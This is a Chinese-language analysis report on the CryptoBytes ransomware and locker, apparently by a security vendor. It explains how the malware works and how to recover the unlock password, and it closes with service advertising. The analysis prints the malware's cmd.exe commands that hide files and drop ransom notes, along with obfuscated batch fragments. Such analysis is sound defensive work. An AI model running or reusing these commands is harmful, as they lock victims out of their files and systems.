入口分析：

整体来看该程序就是一个典型的后门程序

1.开始用RC4算法解密了两段程序，第一个是PE的shellcode加载器，第二段是shellcode，这里因为内部的密文比较大，所以直接手动解密一下两个密文的部分数据看一下：

第一段:

第二段：

可以看出，第二段是一个很典型的Shellcode

2.之后就是调用VirtualProtectEx修改权限，然后调用CallWindowProcA函数实现启动第一段的PE程序，并且将执行Shellcode送入第一段的程序中执行。

锁机程序(lc.exe)

保护分析：

功能分析：

勒索信写入：

1 向C:Users<用户名>desktop桌面文件夹中写入勒索信，并且将当前目录及其子目录的所有文件和文件夹属性设置为隐藏和只读，最后将勒索信info-0v92.txt这个文件的隐藏属性去掉。

   cmd.exe /c cd "%userprofile%desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @yes_u_are_hacked 1>info-0v92.txt & attrib -h +s +r info-0v92.txt

2 向C:UsersPublicdesktop桌面文件夹中写入勒索信，并且将当前目录及其子目录的所有文件和文件夹属性设置为隐藏和只读，最后将勒索信info-0v92.txt这个文件的隐藏属性去掉。

    cmd.exe /c cd "%systemdrive%UsersPublicDesktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @yes_u_are_hacked 1>info-0v92.txt & attrib -h +s +r info-0v92.txt

3 向C:Users<用户名>Downloads下载文件夹中写入勒索信，并且将当前目录及其子目录的所有文件和文件夹属性设置为隐藏和只读，最后将勒索信info-0v92.txt这个文件的隐藏属性去掉。

    cmd.exe /c cd "%userprofile%downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @yes_u_are_hacked 1>info-0v92.txt & attrib -h +s +r info-0v92.txt

4 向C:Users<用户名>Documents文件夹中写入勒索信，并且将当前目录及其子目录的所有文件和文件夹属性设置为隐藏和只读，最后将勒索信info-0v92.txt这个文件的隐藏属性去掉。

    cmd.exe /c cd "%userprofile%documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @yes_u_are_hacked 1>info-0v92.txt & attrib -h +s +r info-0v92.txt

5 向C:Users<用户名>文件夹下写入勒索信，并且将当前目录及其子目录的所有文件和文件夹属性设置为隐藏和只读，最后将勒索信info-0v92.txt这个文件的隐藏属性去掉。

    cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @yes_u_are_hacked 1>info-0v92.txt & attrib -h +s +r info-0v92.txt

强制终止任务管理器，造成任务栏假死等现象。

主要通过如下命令实现：

   Set Prescription=/
   pNUhObserve Nvidia Teens Ages Described Joining Synopsis 
   DbwxGames Staffing Lol Weblogs Cook Colon Microwave Transition Earning 
   IjlNine Corruption Illness Events 
   rXSpas Crisis Carried 
   xDRetreat 
   rqUdConducted Cope Maximize 
   Set Readings=J
   swkOCf 
   JuSwift Events 
   tqSpecializing Tickets Sales 
   UBFFExamination Affairs Doctrine 
   jNGage Bryant Videos Sensitivity 
   ahhfOriented Specializing Concept Private 
   kdTzVaried Providing United Several Hugo Organizing 
   LuqThousand Furnished Indoor Useful Tim Cards Corpus 
   nHPresidential Mattress Thomson Roland Hart 
   Set Madonna= 
   XiSuPioneer Community Charlie Fridge Fred 
   BufIIntimate Regulations Residents Voyeur Benefits Bridal Mix 
   qcqxPick Crops Advancement Dot False Assignment Lunch Annie Died 
   gLZRPolished Bloom Handed Greetings Taiwan Cleanup Enquiries Planet Saskatchewan 
   KRDBooth Ascii Pdas Segment Der Property Cents Scientists Displayed 
   jiJlJean Democrat Boss Dodge Operating Cr Tool 
   GAForm Me Debut Saying Orlando Da Warning 
   Set Background=G
   GWMiTerminals Specs Obligation Chronicles Regular Jail Billing Timer 
   jFUrls Republicans Consolidated Annually Allen Economy 
   sECCircle Across Coal Officials Associated 
   SdzuExtends Axis Hair Interactions Romantic Distinction Dist Paxil 
   BwIwVernon Ta Neural 
   Set Pakistan=V
   lsabMiniature Struck 
   ebD Humanitarian Buildings Holding Byte Palmer Miniature Linear Delhi 
   XGCalculators Filename Cents Elsewhere Bound Weak Dg Portfolio Carries 
   FZVelvet Essential Continued Hat Darwin Navigator Jail 
   PjVSoccer Define Alone Buf Ww Quizzes Display Pure Heating 
   PcTsunami Beastality Continues Developed Benchmark Blake 
   Set Lenders=y
   JhdStd Flip Chances Fax Existence Brand Defining Greece 
   MkCeramic Occur Fingering Dude Enforcement Oracle 
   OSfDont Foam Queensland Capture Grip 
   cCOCinema Surfaces Tower Michel Bang Absolutely Prix Compatible 
   HaPrev Va Js Citizens Changes Boxing Athletic Reseller Mailto 
   CRTZWheel Squirt Trip Super Compact Indie 
   ZMvLOperators Shipment Negotiations 
   Set Postal=A
   fIPediatric Dear Exhibition Entrance Keeps Agent Diverse 
   drBike Griffin Race Fetish Democratic Sake Clocks 
   WXMHuge Technologies Ignored Usgs Uruguay Energy Template 
   EdRdNissan Metallic Printing Horror Kernel Shaved 
   zwuBenjamin Diary Imagine 
   ZNLQLearners Testament Hobby Arc Bars Explaining Syria Identifies Ghz 
   ODRecreation Pantyhose Creation Jacksonville 
   biFormer Guitars Resort 
   Set Correct=R
   SqKQAgo Heat Bm Pushed Cases Partnerships 
   oWZTube Floyd Pilot Produces Liver Sequences Phys Lifetime Pharmaceutical 
   IFKenya Places 
   kHqvEar Composed Mambo Widescreen Ou Ts Baseball 
   NgksJ Gui Marketing Chelsea 
   rsCir Entry 
   QXkShadows Bulgaria Logic Training Medication 
   HoRaces Textile 
   EJUqDk Romance Adrian Dns 
   rnBehalf Led Burner Tape College Class Podcasts Properties Nr 
   Set Al=i
   fOtRHighways Ibm Downloaded 
   NmEnterprises Tunes Mask 
   llApprox Arizona Voted Invision Scotia 
   gXCCms Weighted 
   hjuPremier Completing Analyst Syndication Painted 
   NdSuites 
   jGmHard Lies Museum Propose Filme 
   fdIowa Tattoo Aspect Advantage Schedules Speaking Worship Association Sensitive 
   Set Arthritis=t
   oHStrategies Conservation Catering Ruth 
   LKWPoints Mining Centuries Poster Manually Scan Comparable 
   TtcCattle Reproduction Manchester Combine Synthesis Liechtenstein Indicators 
   ZnjCollection Steven Change Clock Lil Perfect Deals Risks 
   sskJLinux Adjusted Suspected 
   irPermalink Push Incorrect 
   FOlGale Religion Continental 
   Set Expressed=n
   JHqCultural Stud Parking Shore Sie Harrison Exists Keep 
   ZvJExtended Clause Pensions List Carry Proper Ministries Transport 
   wADETextiles Hong 
   RzSkCreations Municipal Stan Threats Angela Driven Bra Correction Content 
   JSToWorkshop Medicaid Ultra Increasing Voices Fiscal 
   ujkhAtom Ronald Clone Asia 
   Set Spain=s
   XrJPig Ee Shipment 
   RJUDistrict Received Shows Shot Douglas Inclusive Header 
   DxNon Plates Roommates Static Apply 
   wNSIrish Couples 
   ddhCharles Prairie 
   vaAqDetermined Virgin Thereby Nuts Holdings Growth Somewhere 
   FrDImproved Ribbon Ct Seven Tulsa Anna Loving Seller Lifestyle 
   mXDictionaries Brazilian  
0

写入开机启动项：

主要会将自身写入到主表是HKEY_CURRENT_USER的如下开机启动项中

关闭指定进程：

   Set Prescription=/
   pNUhObserve Nvidia Teens Ages Described Joining Synopsis 
   DbwxGames Staffing Lol Weblogs Cook Colon Microwave Transition Earning 
   IjlNine Corruption Illness Events 
   rXSpas Crisis Carried 
   xDRetreat 
   rqUdConducted Cope Maximize 
   Set Readings=J
   swkOCf 
   JuSwift Events 
   tqSpecializing Tickets Sales 
   UBFFExamination Affairs Doctrine 
   jNGage Bryant Videos Sensitivity 
   ahhfOriented Specializing Concept Private 
   kdTzVaried Providing United Several Hugo Organizing 
   LuqThousand Furnished Indoor Useful Tim Cards Corpus 
   nHPresidential Mattress Thomson Roland Hart 
   Set Madonna= 
   XiSuPioneer Community Charlie Fridge Fred 
   BufIIntimate Regulations Residents Voyeur Benefits Bridal Mix 
   qcqxPick Crops Advancement Dot False Assignment Lunch Annie Died 
   gLZRPolished Bloom Handed Greetings Taiwan Cleanup Enquiries Planet Saskatchewan 
   KRDBooth Ascii Pdas Segment Der Property Cents Scientists Displayed 
   jiJlJean Democrat Boss Dodge Operating Cr Tool 
   GAForm Me Debut Saying Orlando Da Warning 
   Set Background=G
   GWMiTerminals Specs Obligation Chronicles Regular Jail Billing Timer 
   jFUrls Republicans Consolidated Annually Allen Economy 
   sECCircle Across Coal Officials Associated 
   SdzuExtends Axis Hair Interactions Romantic Distinction Dist Paxil 
   BwIwVernon Ta Neural 
   Set Pakistan=V
   lsabMiniature Struck 
   ebD Humanitarian Buildings Holding Byte Palmer Miniature Linear Delhi 
   XGCalculators Filename Cents Elsewhere Bound Weak Dg Portfolio Carries 
   FZVelvet Essential Continued Hat Darwin Navigator Jail 
   PjVSoccer Define Alone Buf Ww Quizzes Display Pure Heating 
   PcTsunami Beastality Continues Developed Benchmark Blake 
   Set Lenders=y
   JhdStd Flip Chances Fax Existence Brand Defining Greece 
   MkCeramic Occur Fingering Dude Enforcement Oracle 
   OSfDont Foam Queensland Capture Grip 
   cCOCinema Surfaces Tower Michel Bang Absolutely Prix Compatible 
   HaPrev Va Js Citizens Changes Boxing Athletic Reseller Mailto 
   CRTZWheel Squirt Trip Super Compact Indie 
   ZMvLOperators Shipment Negotiations 
   Set Postal=A
   fIPediatric Dear Exhibition Entrance Keeps Agent Diverse 
   drBike Griffin Race Fetish Democratic Sake Clocks 
   WXMHuge Technologies Ignored Usgs Uruguay Energy Template 
   EdRdNissan Metallic Printing Horror Kernel Shaved 
   zwuBenjamin Diary Imagine 
   ZNLQLearners Testament Hobby Arc Bars Explaining Syria Identifies Ghz 
   ODRecreation Pantyhose Creation Jacksonville 
   biFormer Guitars Resort 
   Set Correct=R
   SqKQAgo Heat Bm Pushed Cases Partnerships 
   oWZTube Floyd Pilot Produces Liver Sequences Phys Lifetime Pharmaceutical 
   IFKenya Places 
   kHqvEar Composed Mambo Widescreen Ou Ts Baseball 
   NgksJ Gui Marketing Chelsea 
   rsCir Entry 
   QXkShadows Bulgaria Logic Training Medication 
   HoRaces Textile 
   EJUqDk Romance Adrian Dns 
   rnBehalf Led Burner Tape College Class Podcasts Properties Nr 
   Set Al=i
   fOtRHighways Ibm Downloaded 
   NmEnterprises Tunes Mask 
   llApprox Arizona Voted Invision Scotia 
   gXCCms Weighted 
   hjuPremier Completing Analyst Syndication Painted 
   NdSuites 
   jGmHard Lies Museum Propose Filme 
   fdIowa Tattoo Aspect Advantage Schedules Speaking Worship Association Sensitive 
   Set Arthritis=t
   oHStrategies Conservation Catering Ruth 
   LKWPoints Mining Centuries Poster Manually Scan Comparable 
   TtcCattle Reproduction Manchester Combine Synthesis Liechtenstein Indicators 
   ZnjCollection Steven Change Clock Lil Perfect Deals Risks 
   sskJLinux Adjusted Suspected 
   irPermalink Push Incorrect 
   FOlGale Religion Continental 
   Set Expressed=n
   JHqCultural Stud Parking Shore Sie Harrison Exists Keep 
   ZvJExtended Clause Pensions List Carry Proper Ministries Transport 
   wADETextiles Hong 
   RzSkCreations Municipal Stan Threats Angela Driven Bra Correction Content 
   JSToWorkshop Medicaid Ultra Increasing Voices Fiscal 
   ujkhAtom Ronald Clone Asia 
   Set Spain=s
   XrJPig Ee Shipment 
   RJUDistrict Received Shows Shot Douglas Inclusive Header 
   DxNon Plates Roommates Static Apply 
   wNSIrish Couples 
   ddhCharles Prairie 
   vaAqDetermined Virgin Thereby Nuts Holdings Growth Somewhere 
   FrDImproved Ribbon Ct Seven Tulsa Anna Loving Seller Lifestyle 
   mXDictionaries Brazilian  
1

该程序会主动关闭列表指定的进程

锁屏界面信息生成：

该函数主要生成锁屏界面中的ID和Current PC

ID的生成是由：'ID：10-A'+密钥文件内容+0E+密钥文件内容组成。

Current PC是读取了Environment.MachineName变量的值。

系统按键监控：

该函数会监控Ctrl + Alt和Alt + Tab 还有Win这几个键的按下事件，如果触发则会调用vmethod_8()函数的Start方法

vmethod_8()函数：

该函数会返回一个计时器,如果按下特定的系统按键就会触发，而结果则是重启一下勒索的主界面。

密码校验：

这里的密码校验都挂到了回车键的按下事件上，当回车键被按下时，若是命令行中存在debug参数，那么在密码输入文本框中输入123，程序则会结束。

正常的校验则会判断输入的密码是否等于'0c0v11'+密钥文件($unlocker_id.ux-cryptobytes)中的内容，如果一致则执行method_5()恢复函数，否则则会执行vmethod_4().Start()方法，开启计时器，并且打印"Ошибка! Введённый код не совпадает с ключом разблокировки."

密钥文件产生：

会判断密钥文件是否存在，如果不存在，则向C:UsersadminAppDataLocalTemp目录下写入密钥文件$unlocker_id.ux-cryptobytes。

密钥的内容取当前系统时间，例如:16:34:28，去掉其中的':'号后的值就是密码，最后会将其写入到密钥文件中。并且勒索程序在启动时会检查，该文件是否存在，则不会重复写入。

破解方法：

1.系统暂未重启，可以正常进入锁机界面

直接看勒索界面的左下角显示的ID即可,然后拼接上0c0v11即可。比如这里的密码就是：0c0v11163744

2.系统中断，无法正常进入锁机界面

直接用PE进入到系统镜像中，直接进入C:UsersadminAppDataLocalTemp将$unlocker_id.ux-cryptobytes密钥文件的内容读取出来，或者直接修改为自己的密码，然后拼接0c0v11到开头，即可实现破解。

5.病毒分析概览

5.1 基本信息

恶意文件

AppFile.exe:大小 720.60 MiB，适用于 Windows 2000，32 位 I386 架构。该文件是一个恶意模块下载器。

DocumentsKKFCAAKFBA.exe: 大小 278.50 KiB，32 位 GUI 应用程序，用于后门控制。

DocumentsKKFCAAKFBA.exe: 大小 180.50 KiB，32 位 GUI 应用程序，负责锁定屏幕和显示勒索信息。

5.2 勒索软件行为概述

病毒家族: CryptoBytes（来源于乌克兰）

首次捕获时间: 2023-09-05

威胁类型: 主要为勒索软件和锁机病毒。

加密文件特征: 没有特定的加密文件扩展名，勒索信文件名为info-0v92.txt。

解密工具: 目前无免费解密器，受害者通常通过 Telegram 联系黑客组织获取解密密钥。

检测名称: 被多个杀毒引擎检测到，如 Avast (Win32 ), ESET-NOD32 (A Variant Of MSIL/Filecoder.LU) 等。

5.3 感染机制

感染症状: 系统无法进入，系统内部信息可能被回传，磁盘被锁定，所有正常文件被隐藏。

感染方式: 通常通过恶意电子邮件附件、恶意广告、漏洞利用和恶意链接传播。

5.4 技术特征

恶意模块下载: AppFile.exe 作为一个NSIS安装器，执行下载并释放其他恶意模块。这些模块通常是 .Net 编写的，并通过内存加载和解密后执行。

后门功能: DocumentsKKFCAAKFBA.exe 使用 RC4 加密来保护两段 shellcode，并通过内存修改权限和执行流程加载后门。

锁机功能: lc.exe 文件执行一系列命令来隐藏文件、显示勒索信息、关闭任务管理器、写入系统启动项，和锁屏。它还会监控系统按键（如 Ctrl+Alt、Alt+Tab 和 Win 键）以重新激活勒索界面。

5.5 系统防护绕过

反杀软检测: 检查系统是否运行某些安全软件（如 wrsa.exe, avastui.exe 等），通过延迟执行或切换执行方式（如使用 AutoIt3）来绕过检测。

进程注入: 通过加密和反混淆技术，注入和执行恶意 payload 来加载附加模块。

5.6 破解和恢复方法

正常锁机界面: 查看锁机界面左下角显示的ID，拼接上前缀“0c0v11”可得到解锁密码。

系统中断: 使用PE工具访问系统镜像，读取或修改密钥文件 $unlocker_id.ux-cryptobytes，并加上“0c0v11”前缀以进行解锁。

5.7 攻击载体和目标

攻击载体: 下载器和后门程序通过恶意链接和附件分发，主要针对 Windows 操作系统。

目标系统: 使用基于 Windows 2000 的老旧系统和运行特定应用的企业和个人用户。

5.8 安全建议

避免下载和运行不明来源的文件，特别是破解工具。
定期更新系统和杀毒软件，增强防护能力。
配备应急响应工具，如PE工具，备份关键数据，以便在感染后迅速恢复系统。

通过对 CryptoBytes 勒索软件的深入分析，可以更好地理解其传播和操作模式，采取有效的防御和应急响应措施。

6.安全建议

6.1 风险消减措施

资产梳理排查目标:根据实际情况，对内外网资产进行分时期排查

服务方式:调研访谈、现场勘查、工具扫描

服务关键内容：流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

6.2 安全设备调优

目标

通过对安全现状的梳理和分析，识别安全策略上的不足，结合目标防御、权限最小化、缩小攻击面等一系列参考原则，对设备的相关配置策略进行改进调优，一方面，减低无效或低效规则的出现频次；另一方面，对缺失或遗漏的规则进行补充，实现将安全设备防护能力最优化。

主要目标设备

网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

6.3 全员安全意识增强调优

目标：

通过网络安全意识宣贯、培训提升全方位安全能力

形式：

培训及宣贯

线下培训课表

若无法组织线下的集体培训，考虑两种方式:

1.提供相关的安全意识培训材料，由上而下分发学习

2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

7.团队介绍

solar团队数年深耕勒索解密与数据恢复领域，在勒索解密和数据恢复领域建立了良好的声誉，以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业，都能提供量身定制的服务，确保每一个被勒索软件侵害的数据都能够恢复到最佳状态，同时在解密数据恢复后，提供全面的后门排查及安全加固服务，杜绝二次感染的风险。同时，solar团队坚持自主研发及创新，在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入，目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系、ITSS（信息技术服务运行维护标准四级）以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证，已构建了网络安全行业合格的资质体系。

8.数据恢复服务流程

多年的数据恢复处理经验，在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

专业的售前技术顾问服务，免费在线咨询，可第一时间获取数据中毒后的正确处理措施，防范勒索病毒在内网进一步扩散或二次执行，避免错误操作导致数据无法恢复。

售前技术顾问沟通了解客户的机器中毒相关信息，结合团队数据恢复案例库的相同案例进行分析评估，初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

您获取售前顾问的初步诊断评估信息后，若同意进行进一步深入的数据恢复诊断，我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

专业数据恢复工程师根据数据检测分析结果，定制数据恢复方案（恢复价格/恢复率/恢复工期），并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

您清楚了解数据恢复方案后，您可自主选择以下下单方式：

双方签署对公合同：根据中毒数据分析情况，量身定制输出数据恢复合同，合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款，双方合同签订，正式进入数据恢复专业施工阶段，数据恢复后进行验证确认，数据验证无误，交易完成。

④ 开始数据恢复专业施工

安排专业数据恢复工程师团队全程服务，告知客户数据恢复过程注意事项及相关方案措施，并可根据客户需求及数据情况，可选择上门恢复/远程恢复。

数据恢复过程中，团队随时向您报告数据恢复每一个节点工作进展（数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认）。

⑤ 数据验收/安全防御方案

完成数据恢复后，我司将安排数据分析工程师进行二次检查确认数据恢复完整性，充分保障客户的数据恢复权益，二次检测确认后，通知客户进行数据验证。

客户对数据进行数据验证完成后，我司将指导后续相关注意事项及安全防范措施，并可提供专业的企业安全防范建设方案及安全顾问服务，抵御勒索病毒再次入侵。

以下是solar安全团队近期处理过的常见勒索病毒后缀：后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。

点击关注下方名片进入公众号了解更多

更多资讯扫码加入群组交流

喜欢此内容的人还喜欢

索勒安全团队